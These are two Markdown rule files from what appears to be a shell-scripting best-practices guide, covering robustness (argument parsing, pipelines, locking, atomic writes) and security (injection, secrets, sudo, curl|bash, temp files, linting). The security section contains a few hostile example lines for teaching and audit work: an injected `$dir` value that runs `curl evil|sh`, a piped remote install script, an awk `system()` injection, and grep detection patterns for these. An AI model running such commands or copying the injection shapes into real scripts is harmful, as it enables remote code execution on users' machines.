# 02 — Robustness & Correctness Interfaces, failure handling, portability, concurrency, idempotency. ## 1. Argument parsing Every script ≥ one option gets structured parsing; every script gets `--help`; distributed tools get `--version`. - `getopts` (builtin, POSIX) for short options only — simple, portable, handles clustering (`-abc`). It does **not** do long options. Do not use external `getopt` unless you can guarantee GNU getopt (`getopt -T`; BSD/macOS getopt is broken for quoting). - Manual `while/case` for long options — the SOTA default for nontrivial scripts: ```bash usage() { cat <<EOF Usage: ${0##*/} [-v] [--region REGION] TARGET Deploy TARGET to the given region. -v, --verbose verbose output --region R target region (default: ${DEFAULT_REGION}) -h, --help show this help EOF } verbose=0 region=$DEFAULT_REGION target="" while (( $# > 0 )); do case $1 in -v|--verbose) verbose=1 ;; --region) [[ ${2:-} ]] || die "--region requires a value"; region=$2; shift ;; --region=*) region=${1#*=} ;; -h|--help) usage; exit 0 ;; --) shift; break ;; -*) die "unknown option: $1 (see --help)" ;; *) break ;; esac shift done (( $# == 1 )) || { usage >&2; exit 64; } # EX_USAGE target=$1 ``` Rules: unknown option is an error, never silently ignored; `--` stops option parsing; options taking values handle both `--opt val` and `--opt=val` or document which; `usage` goes to stdout on `--help` (exit 0), stderr on misuse (exit 64). ## 2. Input validation Validate before acting, fail with a message naming the bad value: ```bash [[ $region =~ ^[a-z]{2}-[a-z]+-[0-9]$ ]] || die "invalid region: '$region'" [[ -d $src ]] || die "source directory not found: $src" [[ $count =~ ^[0-9]+$ ]] || die "count must be a non-negative integer, got: '$count'" ``` - Validate *types* of things shell is bad at (numbers, enums, paths) with `[[ =~ ]]` or case patterns; reject rather than sanitize. - **Validate captured output, not just arguments.** The `=~ ^[0-9]+$` guard above is routinely applied to CLI arguments and skipped for values captured from a command — where it matters *more*, because a failed command yields an empty or error string that silently satisfies **string** comparisons: ```bash # BAD — an empty or error value is != "0", so a failed read reads as "yes" n=$(some-cli get thing --format '{{.count}}') if [ "$n" != "0" ]; then echo "done"; fi # GOOD — validate first, compare numerically, give "unreadable" its own branch n=$(some-cli get thing --format '{{.count}}' 2>/dev/null) || n="" case $n in ''|*[!0-9]*) echo "cannot tell" ;; # NOT the same as zero *) [ "$n" -ge 1 ] && echo "done" ;; esac ``` **Assert the condition you want, not its negation.** `!= "0"` is satisfied by `""`, `error`, `null`, and every usage message a broken invocation prints — verified. For a check that runs repeatedly until something completes, "cannot tell" must stay distinct from "not yet": `sota-code-security` rules/15 §2.2a. - Required environment variables: check up front, all at once, not at first use: ```bash : "${DEPLOY_TOKEN:?DEPLOY_TOKEN must be set}" # -u-style with custom message ``` ## 3. Errors to stderr, exit codes, die() ```bash err() { printf '%s: %s\n' "${0##*/}" "$*" >&2; } die() { err "$@"; exit 1; } ``` - Every diagnostic to stderr (`>&2`) — stdout is for *output* that callers pipe. A script that prints errors to stdout corrupts downstream consumers. - Messages carry context: what was attempted, on what object, what the underlying error was. `die "failed to upload $artifact to $bucket: $curl_err"` not `die "error"`. - Exit codes: 0 success only; 1 generic failure; 2 reserved-ish (bash builtin misuse); 64–78 BSD sysexits if you want granularity (64 usage, 69 unavailable, 77 permission); 126/127 (not executable / not found) and 128+N (signal) are shell-reserved — don't emit them yourself. Document non-trivial codes in `--help`. - Never `exit` from inside a function where the caller might want to continue — `return` a status and let the top level decide; `exit` in sourced files kills the caller's shell. ## 4. Pipelines: pipefail awareness and PIPESTATUS - `set -o pipefail` makes the pipeline status the rightmost nonzero status. Two follow-ups: - **zsh spells it differently and indexes from 1**: `${pipestatus[1]}` is the first stage (`${PIPESTATUS[0]}` in bash). `cmd | tail -1; echo $?` reports `tail`'s status in both shells — when the exit code is the thing under test, drop the pipe. - To know *which* element failed: `"${PIPESTATUS[@]}"` (bash; copy it immediately — any next command overwrites it): ```bash dump_db | gzip > "$out" status=("${PIPESTATUS[@]}") (( status[0] == 0 )) || die "dump failed (${status[0]})" (( status[1] == 0 )) || die "gzip failed (${status[1]})" ``` - Expected-failure producers break under pipefail: `grep` exits 1 on no match (`grep pattern file | wc -l` "fails" on zero matches); a consumer like `head` closing early makes the producer die of SIGPIPE (141). Handle deliberately: ```bash matches=$(grep -c pattern file || true) # no-match is not an error here yes | head -n 3 # SIGPIPE on `yes` → status 141; guard: out=$(produce | head -n 3) || (( $? == 141 )) # accept SIGPIPE only ``` - Prefer process substitution over pipes into `while read` — the pipe runs the loop in a subshell, so variable updates vanish (SC2031): ```bash # BAD — count is always 0 after the loop cmd | while read -r line; do (( ++count )); done # GOOD while IFS= read -r line; do (( ++count )); done < <(cmd) ``` **Name the trade you just made: a process substitution's exit status is unreachable.** `$?` reflects the redirection, not the producer; `pipefail` does not apply and `inherit_errexit` does not help. A producer that fails yields **zero lines**, so the loop completes over an empty set and the function reports success — the vacuous-pass shape (`sota-code-security` rules/11), now silent. Measured: a `git rev-list` usage error exits **129**, the loop sees nothing, and a coverage check announces "nothing to check" and exits 0. Capture the status explicitly wherever *no output* and *the command failed* mean different things: ```bash # GOOD — status captured; empty and failed are distinguished local out status=0 out="$(git rev-list "$range" 2>&1)" || status=$? (( status == 0 )) || { printf 'rev-list failed: %s\n' "$out" >&2; return 2; } while IFS= read -r line; do [[ -n $line ]] && arr+=("$line"); done <<<"$out" ``` Two caveats on that remedy, because it is not free: `$( )` **strips trailing newlines** (rules/01 §2) — here `<<<` puts one back, but do not carry the pattern somewhere it matters — and it buffers the whole output in memory, which is wrong for an unbounded producer. Use bare `< <(cmd)` only where the producer cannot meaningfully fail, or where empty and failed are genuinely the same outcome. **Say which, in a comment.** **`head -1` over unordered output is a coin flip with one side visible in development.** Tools that emit *sets* promise no order — `git notes list`, `git for-each-ref` without `--sort`, `find`, `ls` on some filesystems, `kubectl get` without sorting. Code that takes "the" element is correct while exactly one exists and silently picks wrong afterwards. Sort by the field that defines *latest*/*best* and select explicitly, or fail when the count is not 1. **Test with two elements, never one** — a single-element fixture cannot tell correct selection from arbitrary selection. High when it selects a security control's input, where "stale" and "current" then read alike. ## 5. Portability: bash vs POSIX sh Decide per script and enforce with the shebang + `shellcheck -s sh`. - POSIX sh required: busybox/alpine and dash-based containers without bash, initramfs, `system()`-invoked snippets, packaging hooks. Then: no arrays (use `set -- args...` to reuse positional params), `[ ]` not `[[ ]]`, no `pipefail` (run each stage to a temp file or use a fifo/status-file trick), `. file` not `source`, no `${var//}`, no `<<<`/`<( )`, `printf` always (dash `echo` interprets escapes). - `--` (end of options) is **not universal**. GNU coreutils accept it nearly everywhere; BSD/macOS `chmod` does not — `chmod 700 -- dir` fails with `chmod: --: No such file or directory`, which names the wrong thing and reads as a path bug. Adjacent calls mislead further: `mkdir -p -- dir` succeeds on the same system (both verified on macOS 2026-08-26). Where the path is a literal you control, drop the `--`; where it is untrusted, prefer `./"$path"` for a relative path — portable, and it defeats leading-dash injection without depending on the flag. (`sota-golang` rules/05 already hedges this as "where the tool supports it"; it was unreachable from a shell task.) - bash-targeted: use bash properly (arrays, `[[ ]]`, `mapfile`) — half-POSIX bash is the worst of both. But remember macOS = bash 3.2: no associative arrays, no `mapfile`, no `${var,,}`, no `inherit_errexit`. If macOS devs run the script, either stay 3.2-clean or version-check (rules/01 §1). CI containers: confirm bash exists (`docker run image which bash`) before writing `#!/usr/bin/env bash` entrypoints — alpine base images have only busybox ash unless bash is installed. ## 6. Command existence and invocation - `command -v tool >/dev/null 2>&1 || die "tool is required"` — never `which` (SC2230: external, non-portable output and exit codes). - Check all dependencies up front in one place: ```bash for cmd in jq curl flock; do command -v "$cmd" >/dev/null 2>&1 || die "missing required command: $cmd" done ``` - Don't hardcode tool paths except in privileged scripts with a sanitized PATH (rules/03). ### A missing tool is a decision, not automatically a failure `|| die` above is right for a tool the script cannot be correct without. It is wrong for everything else, and the difference matters most in **gates and checks**, where "the tool isn't installed" must never be reported as "the check passed". Classify each dependency once, and make the behaviour match: | The tool is… | Do | Never | |---|---|---| | **required for correctness** (the script's whole job) | `die` with the install command for this platform | proceed with a degraded result | | **required for one check** inside a larger run | run the rest, **SKIP that check with a named note** — `SKIPPED: python3 not found (CI enforces this check)` — and make the skip visible in the summary | print `ok`, or count the skip as a pass | | **optional / an enhancement** | proceed, note the reduced capability once | fail the run | | **missing on an interactive run** | **stop and ask the human to install it**, naming the exact command, then continue or exit on their answer | silently install it, or `sudo` anything unasked | ```bash need() { # need <cmd> <what it is for> <install hint> command -v "$1" >/dev/null 2>&1 && return 0 if [ -t 0 ] && [ -t 1 ]; then # a human is present: ask, do not guess printf 'Missing %s (needed for %s). Install with: %s\n' "$1" "$2" "$3" >&2 printf 'Install it now and press Enter to continue, or Ctrl-C to abort: ' >&2 read -r _ command -v "$1" >/dev/null 2>&1 && return 0 fi return 1 } need shellcheck "shell linting" "brew install shellcheck" \ || note "SKIPPED: shellcheck not found — shell lint did not run" ``` Two rules that make this safe rather than sloppy: - **A skipped check is not a passed check.** Print the skip on the same line the check would have used, count skips separately, and never let the summary read clean when a check did not execute (`sota-code-security` rules/14 §4 — a control that never runs). This repo does exactly that: four invariants print `SKIPPED: python3 not found` and CI, where python3 always exists, enforces them for real. - **Never auto-install.** Installing software is a change to the user's machine; on a non-interactive run there is no one to consent, so degrade or fail loudly instead. Ask, print the command, and let the human run it — a script that quietly installs a package manager's worth of dependencies is a supply-chain event, not a convenience. ## 7. Network calls: timeouts and bounded retries A network call without a timeout is a hang waiting to happen; without retry discipline it is flaky CI. ```bash # GOOD — fail on HTTP errors, bound total time, retry transient failures with backoff curl --fail --silent --show-error --location \ --connect-timeout 5 --max-time 60 \ --retry 3 --retry-delay 2 --retry-all-errors \ -o "$tmpfile" -- "$url" || die "download failed: $url" ``` - `--fail` (or `--fail-with-body` when you need the error payload): otherwise curl exits 0 on HTTP 500 and you process an error page as data. - `--max-time` always; `--retry-all-errors` only for idempotent GETs — never blind-retry POSTs that aren't idempotent. - Non-curl commands: wrap with `timeout 60 cmd ...` (coreutils). Generic retry wrapper: ```bash retry() { # retry N CMD... local -i n=$1 i; shift for (( i = 1; i <= n; i++ )); do "$@" && return 0 (( i < n )) && { err "attempt $i/$n failed: $*; retrying"; sleep $(( i * 2 )); } done return 1 } ``` ## 8. Concurrency: flock, background jobs, wait - Concurrent invocation (cron + manual run, parallel CI jobs) corrupts state. Mutual exclusion via `flock` on Linux: ```bash exec 9>"/var/lock/${0##*/}.lock" flock -n 9 || die "another instance is running" # lock held for the life of fd 9 (process lifetime); released automatically on exit/crash ``` Never the `[ -f pidfile ]` dance — it races and leaks stale locks. macOS lacks `flock(1)`; use `mkdir`-as-lock (atomic) with trap cleanup if portable locking is needed. - Background jobs: every `&` is owned — record the PID, `wait` on it, check its status. ```bash # GOOD — bounded parallelism with per-job status (bash ≥4.3 wait -n; 5.1 adds -p) pids=() for host in "${hosts[@]}"; do deploy_one "$host" & pids+=($!) done fail=0 for pid in "${pids[@]}"; do wait "$pid" || { fail=1; err "job $pid failed"; } done (( fail == 0 )) || die "one or more deploys failed" ``` - Plain `wait` with no args returns 0 regardless of children's failures (pre-5.x semantics vary) — always wait per-PID when status matters. Never leave an unmanaged `&` (orphaned work continues after the script "succeeds" or dies). - For real parallel fan-out with output grouping, prefer `xargs -P` or GNU parallel over hand-rolled job pools. ## 9. Idempotency and atomic writes Scripts get re-run: after partial failure, by retries, by impatient operators. Design for it. - Check-before-create, tolerate already-done: ```bash mkdir -p -- "$dir" # not mkdir (fails if exists) [[ -L $link ]] || ln -s -- "$target" "$link" grep -qxF "$line" "$file" || printf '%s\n' "$line" >> "$file" ``` - **"Append" to a keyed store is an upsert.** Where the key comes from content or context rather than from the record — a commit SHA, a request id, a date bucket — running twice does not append twice, it **overwrites** (`git notes add -f`, `PUT`, `kubectl apply`). If records are *linked* (hash chain, sequence numbers, prev-pointers) the overwrite silently deletes the link target, and the corruption arrives from the ordinary act of re-running. Detect an existing record for the same key **and** the same content and return success without writing. **Test the second run, not just the first** — re-running is the common path in any hook, retry or CI re-trigger. - **Atomic writes via mv**: never write a config/output file in place — a crash mid-write leaves a torn file that consumers read. ```bash tmp=$(mktemp -- "${out}.XXXXXX") # same directory → same filesystem → mv is atomic rename generate > "$tmp" chmod 0644 -- "$tmp" # mktemp creates 0600; fix perms before publishing mv -f -- "$tmp" "$out" ``` - Downloads: download to temp, verify (checksum, `--fail` already ensured non-error body), then `mv` into place. Never let a consumer see a half-downloaded artifact. - Deletions/migrations: make them no-ops on second run (`rm -f`, guarded `ALTER`s via the real tool, not shell). ## 10. Filenames are hostile input Filenames may contain spaces, newlines, leading `-`, glob chars, non-UTF-8 bytes. ```bash # BAD — splits on whitespace, breaks on newlines, -dashfile becomes an option for f in $(find . -name '*.log'); do rm $f; done # GOOD — NUL-delimited end to end find . -name '*.log' -print0 | xargs -0 rm -f -- # or no pipe at all: find . -name '*.log' -exec rm -f -- {} + # or into an array (bash ≥4.4): mapfile -d '' logs < <(find . -name '*.log' -print0) ``` - `--` before any operand that comes from a variable/glob, for every command that supports it (`rm`, `cp`, `mv`, `grep`, `git checkout`, ...). For commands without `--`, prefix relative paths: `rm "./$f"`. - `while IFS= read -r -d '' f` to consume `-print0` streams in-loop. - Never embed filenames in command strings passed to `ssh`/`bash -c` without proper quoting — use `printf '%q'` (bash) or pass as positional args to a remote script. ## Audit checklist - [ ] **Missing-tool behaviour classified**: does every `command -v` failure `die`, skip-with-a-named-note, or ask an interactive human — and does the summary ever read clean while a check did not execute? Probe: `PATH=/usr/bin:/bin <script>` with a dependency removed, and confirm the run reports a SKIP rather than an `ok`. No script may auto-install a dependency. - [ ] **Process substitution with a fallible producer**: `grep -rn '< <(' --include='*.sh'` — for each, can the producer fail? If yes and the status is not captured, a failure is indistinguishable from an empty result. High when the loop's emptiness decides a pass/fail verdict. - [ ] **Arbitrary selection**: `grep -rnE '\|\s*head -1|\| head -n ?1' --include='*.sh'` over set-emitting commands with no `--sort`/`sort`. Confirm a two-element fixture exists; a one-element test cannot fail. - [ ] **Second-run safety**: re-run the script on unchanged inputs and diff the store. Any write keyed by commit/id/date must be an upsert that preserves linked records. - [ ] No `--help`: `grep -rLn -- '--help\|-h)' --include='*.sh'` → MEDIUM for any operator-facing script. - [ ] Unknown options silently ignored: `case` parse loops missing a `-*)` error arm. - [ ] SC2230 — `grep -rn 'which ' --include='*.sh'` → replace with `command -v`. - [ ] Errors to stdout: `grep -rn 'echo.*[Ee]rror\|echo.*[Ff]ail' --include='*.sh'` lacking `>&2`. - [ ] `exit 0` at end of failure paths; functions calling `exit` where `return` is right. - [ ] Bare curl/wget: `grep -rn 'curl ' --include='*.sh' | grep -v -- '--max-time\|--fail'` → MEDIUM (no timeout) / HIGH if output is piped to a shell or parsed as data. - [ ] Retries on non-idempotent operations (`--retry` + POST) → HIGH. - [ ] SC2031/SC2030 — `| while read` subshell variable loss. - [ ] Pipeline status ignored where producer matters and no `pipefail`/PIPESTATUS check. - [ ] Lock discipline: cron-invoked or deploy scripts without `flock`/lock dir → MEDIUM; pidfile-based locks → MEDIUM (racy). - [ ] Unmanaged `&`: `grep -rn ' &$' --include='*.sh'` without matching `wait` on PID. - [ ] In-place writes of consumed files: `grep -rn '> */etc/\|> *.*\.conf' --include='*.sh'` without mktemp+mv → HIGH for configs read by daemons. - [ ] `for .* in \$(find\|in \$(ls` and `xargs` without `-0` paired with `-print0` → HIGH in destructive contexts (SC2044, SC2011). - [ ] Missing `--` before variable operands of `rm/mv/cp/chown/chmod/git`. - [ ] Bashisms in `#!/bin/sh` files destined for alpine/busybox images (cross-check Dockerfiles for base image). -
03-security.md 17.7 KB
# 03 — Security Injection, secrets, privilege, supply chain, and the tooling gate. Severity here skews CRITICAL/HIGH — shell runs with the operator's full authority. ## 1. eval and command injection `eval` on anything derived from input (args, env, file contents, API responses) is arbitrary code execution. So are its cousins: `bash -c "$str"`, `sh -c "$str"`, `ssh host "$str"`, `su -c`, `watch "$str"`, `find -exec sh -c "$str"`, awk `system()`, unquoted heredoc bodies fed to a shell. ```bash # CRITICAL — filename/branch/issue-title chosen by user executes code eval "git checkout $branch" bash -c "process $file" ssh "$host" "rm -rf $dir" # remote shell re-parses; $dir='/; curl evil|sh' # GOOD — no re-parsing: pass data as arguments, not code git checkout -- "$branch" process "$file" ssh "$host" -- rm -rf "$(printf '%q' "$dir")" # %q-escape anything entering a remote shell # better: scp a script and run it, or use ssh host 'cat | bash' with a heredoc of CODE ONLY ``` - Indirection without eval: `${!varname}` (bash), `declare -n` nameref, associative-array dispatch `"${handlers[$key]}"` with a validated key — never `eval "$cmd_string"`. - Variables expanded inside `awk`/`sed`/`jq` *programs* are injection too: `awk "{print \$$col}"` with col='1; system("...")'. Pass data via `awk -v`, `jq --arg`, `sed` with validated patterns. - Anything matching `$(...)` or backticks inside user-controlled strings that later get expanded in double quotes by `eval`/`envsubst`-like flows is the same bug. ## 2. Secrets discipline Three leak channels: **argv** (visible in `ps`/`/proc/*/cmdline` to all users), **environment dumps** (`env` in logs, crash handlers, CI debug, `/proc/*/environ`), **trace output** (`set -x` prints expanded values). ```bash # CRITICAL — expanded values land in argv, visible to every local user via ps curl -H "Authorization: Bearer $TOKEN" https://api.example.com mysql -u app -p"$DB_PASS" # GOOD — secrets via file or stdin/fd, never argv curl --config - <<EOF header = "Authorization: Bearer $TOKEN" EOF # or: curl -H @"$header_file" mysql --defaults-extra-file="$cnf_with_password" # GOOD — read from a secrets file/manager at runtime TOKEN=$(<"$CREDENTIALS_DIR/token") # file mode 0600, never committed ``` - `set -x`/`bash -x` prints every expansion. Bracket sensitive sections: ```bash set +x # SECRETS BELOW — do not trace auth_header="Authorization: Bearer $(<"$token_file")" set -x ``` Better: keep `set -x` behind a debug flag and structure code so secrets never pass through traced lines (files/fds end to end). - Never `env`, `printenv`, `set`, or `declare -p` into logs in scripts that may hold secrets in env. Never echo secrets even "masked" — write "loaded credentials from X". - CI: rely on the CI's secret masking but don't trust it — masking fails on transformed values (base64, URL-encoded). Don't `base64` a secret into logs. - Storage/rotation strategy → `sota-secrets-management`. ### 2a. An assignment prefix does not reach a process substitution The idiom for keeping a secret out of `ps` is to pass it in the environment rather than in argv. It has a hole exactly where a helper produces the secret, and the failure is silent — the helper runs, the command succeeds, and the value it needed was never set. The shell sets up `<(helper)` **before** running the command, and an assignment prefix applies only to *that command's* environment. So the helper is not a child of the command carrying the variable: ```console $ MY_VAR=secret cat <(./show-my-var) # MY_VAR=UNSET <- the helper never sees it $ MY_VAR=secret ./show-my-var # MY_VAR=secret <- control: prefixes do work $ ( export MY_VAR=secret; ./show-my-var ) # MY_VAR=secret ``` Measured 2026-09-13 in **bash and zsh alike** — the control line is what makes the first result evidence rather than a broken helper. It bites hardest when the variable *is the whole point*: `VAR=token curl --data @<(build-body)` sends a body built without the token, and `curl` still exits 0. - **Export in a subshell and redirect to a file**, or use a pipe — both put the helper in the environment's scope: `( export TOKEN=…; build-body ) > body.json`. - **Do not reach for `env VAR=… cmd`** as the fix: it puts the value back into `env`'s own argv, which is the exposure the idiom existed to avoid. - **A helper that silently produced an unauthenticated result is the failure mode** — have it fail loudly on a missing variable (`: "${TOKEN:?TOKEN not set}"`) rather than emit a body without it. ## 3. PATH hygiene and privileged scripts Any script running as root (cron, sudo, init, setuid wrappers' children) must not trust the inherited environment: ```bash # top of privileged scripts PATH=/usr/sbin:/usr/bin:/sbin:/bin export PATH umask 077 unset IFS CDPATH ENV BASH_ENV GLOBIGNORE LD_PRELOAD LD_LIBRARY_PATH ``` - Attack: attacker-writable dir earlier in PATH (or `.` in PATH) shadows `tar`, `service`, etc. Root cron with inherited PATH = privilege escalation. - `CDPATH` makes bare `cd dir` jump to unexpected locations — unset it in all scripts (or always `cd ./dir`); check every `cd` (`cd "$dir" || die ...` — under `set -e` a failed `cd` in a condition context still proceeds). - Never execute relative commands from a CWD you don't control; never `source` files writable by less-privileged users. ### 3a. The wrapper that shadows what it calls §3 above is the attacker's version: a directory *they* control, early in `PATH`, shadowing a command *you* call. The mirror is not adversarial and is far easier to ship by accident: **a directory you control, holding a file you wrote, that shadows a command your own file calls.** **Rule: inside an interceptor, never invoke a name the interceptor's own namespace can resolve back to itself.** Three namespaces, one bug — but **two different failure modes**, and the difference decides whether you find out safely (all measured 2026-09-10 on macOS): | namespace | recursion bound | what you see | |---|---|---| | **`PATH` shims** — a dir of fake/wrapping executables placed first on `PATH` (test harnesses, compiler caches, CI interceptors) | **none of any kind** | each level is a new **process**: the per-user process table fills, and every tool fails at once, *including the ones you need to diagnose it* (`rules/08` §4) | | **shell function overrides** — `curl() { … curl "$@"; }` in a profile; the inner `curl` resolves to the function again | bash: `FUNCNEST`, **unset by default** → `f(){ f; }; f` exits **139 (SIGSEGV)**. zsh: `FUNCNEST` defaults to **700** → clean `maximum nested function level reached`, exit 1 | one process, dying as a crash or an error | | **aliases and `LD_PRELOAD`** | none | same shape as the shim: a new process per level | **The trap in that table is that the middle row is the one you will try first.** A function override blows up immediately and locally, which reads as "the shell protects me from this mistake". It does not: the same mistake in a `PATH` shim has no bound at all, takes the whole machine's process table, and `bash`'s own protection for the case that *is* bounded is **off unless you set it**. **Safe forms:** - use only **builtins** and parameter expansion inside the wrapper — prefix strip, `case`, `test` — and call nothing external at all; - or call the real binary by **absolute path**, resolved once when the wrapper is generated, never by bare name; - or drop the shim directory from `PATH` for the inner call: `PATH=$ORIG_PATH command sed …`; - in shell functions use `command foo` / `builtin foo`, never bare `foo` (verified: `echo(){ builtin echo "WRAPPED: $*"; }` terminates and prints once). **The review question, which is what makes this checkable:** *for every command this wrapper invokes, is that name also present in the directory the wrapper lives in — or in any namespace this wrapper installs into?* **Two diagnostic notes, because this failure fights back.** `pkill` cannot win a race against a live respawner — field-measured counts went **429 → 1,276 while killing**. Killing the children of an active spawner is theatre. Group by parent (`ps -axo ppid=,comm=`) and neutralise *that*. **Sequential PIDs with one child each is the signature of a recursion**; a pool is one parent with many children. And **do not accept blame for a system-level symptom before checking parentage.** In the incident above, many backgrounded wait loops had been started in the same hour, so that story fit — and was written up as fact — before any `ps` showed a parent. The processes were `/bin/sh` running the shim; the wait loops would have been `zsh`, `sleep` and `pgrep`. One `ps -axo pid=,ppid=,command=` separates them. **A plausible culprit you already have in mind is exactly when to demand the evidence, not when to skip it** — and note that the evidence here was already in hand and misread: `/bin/sh` was never consistent with a `zsh` wait loop. **Generating a wrapper from a template has two escaping layers.** The warning comment written to prevent a repeat of this bug contained `${a#@}`; the template was rendered with Python's `str.format`, which reads `{a#@}` as a format field and raises `KeyError: 'a#@'` (verified — it fails identically inside a `#` comment, because the outer layer has no idea what a shell comment is). Double the braces or use a templating step that does not scan comments. ## 4. sudo discipline - Scripts should not contain blanket `sudo`. If elevation is needed, either (a) require the *whole script* to run as root and check it: ```bash (( EUID == 0 )) || die "must run as root (try: sudo $0)" ``` or (b) sudo *specific, full-path* commands, and document the needed sudoers entries: ``` deploy ALL=(root) NOPASSWD: /usr/bin/systemctl restart myapp, /usr/bin/install -m644 * /etc/myapp/* ``` - Never `sudo $cmd` with variable command (injection + sudoers bypass), never `echo "$pass" | sudo -S` (secret in argv/pipe + defeats auth design). - Beware `sudo cmd > file`: the redirect happens in the *unprivileged* shell. Use `... | sudo tee file >/dev/null` or `sudo sh -c '... > file'` with a constant string. - Drop privileges as early as possible; in containers prefer entrypoint-level drop (rules/04 §2) over sudo at all. ## 5. curl | bash — both directions **Consuming** (you install third-party software): ```bash # CRITICAL in production paths — executes whatever the server (or MITM, or compromised # bucket) returns; partial download can execute a truncated script curl -s https://example.com/install.sh | bash ``` Download → verify → execute, with pinned checksum (or signature) committed to your repo: ```bash readonly url="https://github.com/org/tool/releases/download/v1.2.3/tool-linux-amd64" readonly sha256="4f5e...committed-constant..." tmp=$(mktemp) curl --fail --silent --show-error --location --max-time 120 -o "$tmp" -- "$url" printf '%s %s\n' "$sha256" "$tmp" | sha256sum -c - || die "checksum mismatch for $url" install -m 0755 -- "$tmp" /usr/local/bin/tool ``` Pin versions (never `/latest/`); for higher assurance verify signatures (`gpg --verify`, cosign/minisign) not just checksums fetched from the same origin. **Publishing** (you ship an install script): provide versioned artifacts + a checksums file signed or served from a separate trust path; make the script safe under truncation by wrapping everything in a function called on the last line: ```bash main() { ...all logic...; } main "$@" # nothing executes until fully downloaded and parsed ``` ## 6. Temp file races and umask - Predictable temp paths (`/tmp/myapp.$$`, `/tmp/build.tmp`) → symlink attack: attacker pre-creates a symlink at that path, your root script writes through it onto `/etc/passwd`. **Only `mktemp`** (unpredictable name, `O_EXCL`, mode 0600) — already required by rules/01 §6; here it is a security control, not hygiene. - Don't `chmod` a file *after* writing sensitive content — create restrictive, then write: `umask 077` before creating key material, or `install -m 0600 /dev/null "$f"` then write. - Set `umask` explicitly in scripts that create files whose permissions matter; inherited umask is whatever the caller had. `umask 022` for world-readable artifacts, `077` for private state. Remember rules/02 §9: mktemp files are 0600 — explicitly `chmod` before publishing world-readable artifacts via `mv`. - Shared directories: never trust pre-existing files/dirs in `/tmp`; `mktemp -d` and work inside it. ## 7. ShellCheck + shfmt in CI — non-negotiable Current as of mid-2026: ShellCheck v0.11.0 (Aug 2025), shfmt v3.13.x (zsh-aware). Both are single static binaries; there is no excuse for a repo with shell scripts and no shell linting. ```yaml # CI job (any system) — fail the build on findings - run: | shellcheck --severity=style --external-sources $(git ls-files '*.sh' '*.bash') shfmt -d -i 2 -ci . # -i 2 is an EXAMPLE — indent width is the repo's to set ``` **Verifying a gate locally is a different question, and another skill owns it:** `sota-devsecops` rules/09 §5 — *reproduce the gate's exact invocation, not an equivalent*. Worth the jump from here, because the shell-shaped version of that mistake is expensive: `-i 2` above is an example, and in a repo that indents shell with **4** spaces a contributor who copies it verbatim does not just get a false failure — `shfmt` is usually run with `-w` somewhere nearby, so it **reformats every shell file in the tree**. **And `--severity=style` is not fussiness — a style finding can be a live defect.** SC2006 ("use `$(...)` instead of backticks") is classed *style*, and it has flagged backticks written inside an unquoted `cat <<USAGE` heredoc, where they are **live command substitution in help text** rather than literal characters. `--severity=error` ships that. - Also lint scripts *embedded* elsewhere: Dockerfile `RUN` blocks (hadolint integrates ShellCheck), GitHub Actions `run:` blocks (actionlint embeds ShellCheck), Makefile recipes (extract or keep recipes one-line calling real scripts). - Suppressions only inline, narrowest scope, with justification: ```bash # shellcheck disable=SC2086 # $FLAGS is a space-separated allowlist built above, splitting intended ``` Repo-wide disables in `.shellcheckrc` for *bug-class* codes (SC2086, SC2046, SC2155, SC2064) are an audit finding in themselves. - shfmt settings belong in `.editorconfig` so editor, hook, and CI agree. ## Audit checklist - [ ] **Any secret passed as an assignment prefix to a command using `<(…)`?** (§2a) The prefix does not reach the process substitution — measured in bash and zsh — so the helper runs without it and the command still exits 0. Export in a subshell or use a pipe; never `env VAR=… cmd`, which returns the value to argv. - [ ] **Linters invoked the way the gate invokes them** — flags and file selection read out of the hook/CI config (`sota-devsecops` rules/09 §5, which owns this); a mismatched `shfmt -i` is a false failure at best and, with `-w` nearby, a whole-tree reformat - [ ] **ShellCheck run at `--severity=style`**, not `error` (§7): SC2006 is *style* and catches backticks inside an unquoted heredoc, which are live command substitution - [ ] **Interceptor recursion** (§3a): does any wrapper, shim, alias or shell-function override invoke a command name that its **own namespace shadows**? For each wrapper, list the commands it calls and check each against the wrapper's own directory. - [ ] If a wrapper must call out, does it use an **absolute path** resolved at generation time, a `PATH` with the shim directory removed, or `command`/`builtin` in a function — never a bare name? Note the function form is bounded (bash `FUNCNEST`, **unset by default** → SIGSEGV; zsh 700) while the `PATH`-shim form is **not bounded at all**. - [ ] For scripts generated from templates: does the outer templating layer treat **comments** as literal text? A `${a#@}` inside a `#` comment still raises `KeyError` under Python `str.format`. - [ ] `grep -rn 'eval ' --include='*.sh'` → every hit CRITICAL until proven constant-input (SC2294 hints at array-eval misuse). - [ ] `grep -rn 'bash -c\|sh -c' --include='*.sh' Makefile* Dockerfile*` with `$` inside the string → CRITICAL/HIGH. - [ ] `ssh .*\$` and `su -c .*\$` — remote re-parsing injection; check for `printf '%q'`. - [ ] SC2064 — `trap "$cmd" ...` with double quotes (expands now, runs later — often stale/injected values). - [ ] Secrets in argv: `grep -rni 'password\|token\|secret\|api[_-]key' --include='*.sh'` then trace each into argv (`-p"$X"`, `-H "Auth.* $X"`, URL userinfo `https://user:$X@`) → CRITICAL. - [ ] `set -x` (or `bash -x` in shebang/CI) in scripts handling secrets without `set +x` bracketing → HIGH. - [ ] `env\|printenv\|declare -p` piped to logs/files in secret-bearing contexts. - [ ] Privileged scripts (cron files, `sudo` callers, Docker root entrypoints) missing explicit `PATH=` and `umask` → HIGH; `CDPATH` not unset → MEDIUM. - [ ] `grep -rn 'sudo ' --include='*.sh'` — variable after sudo, `sudo -S`, blanket sudo, `sudo .* >` redirects. - [ ] `grep -rn 'curl[^|]*|[[:space:]]*\(ba\)\?sh\|wget -qO- .*| *sh' -r .` → CRITICAL in anything that runs unattended; check install scripts for checksum/signature verification and version pinning (no `/latest/`). - [ ] Predictable temp names: `grep -rn '/tmp/[^$]*\$\$\|/tmp/[a-zA-Z0-9._-]*\b' --include='*.sh'` without mktemp → HIGH (CRITICAL if script runs as root). - [ ] `chmod .*60[0]\|chmod .*7[07][07]` *after* content written to sensitive files. - [ ] No shellcheck/shfmt in CI config (`.github/workflows`, `.gitlab-ci.yml`, `Jenkinsfile`) for a repo containing `*.sh` → HIGH (process gap). - [ ] `.shellcheckrc` blanket-disabling SC2086/SC2046/SC2155/SC2064 → finding. -
04-ci-and-operational.md 13.3 KB
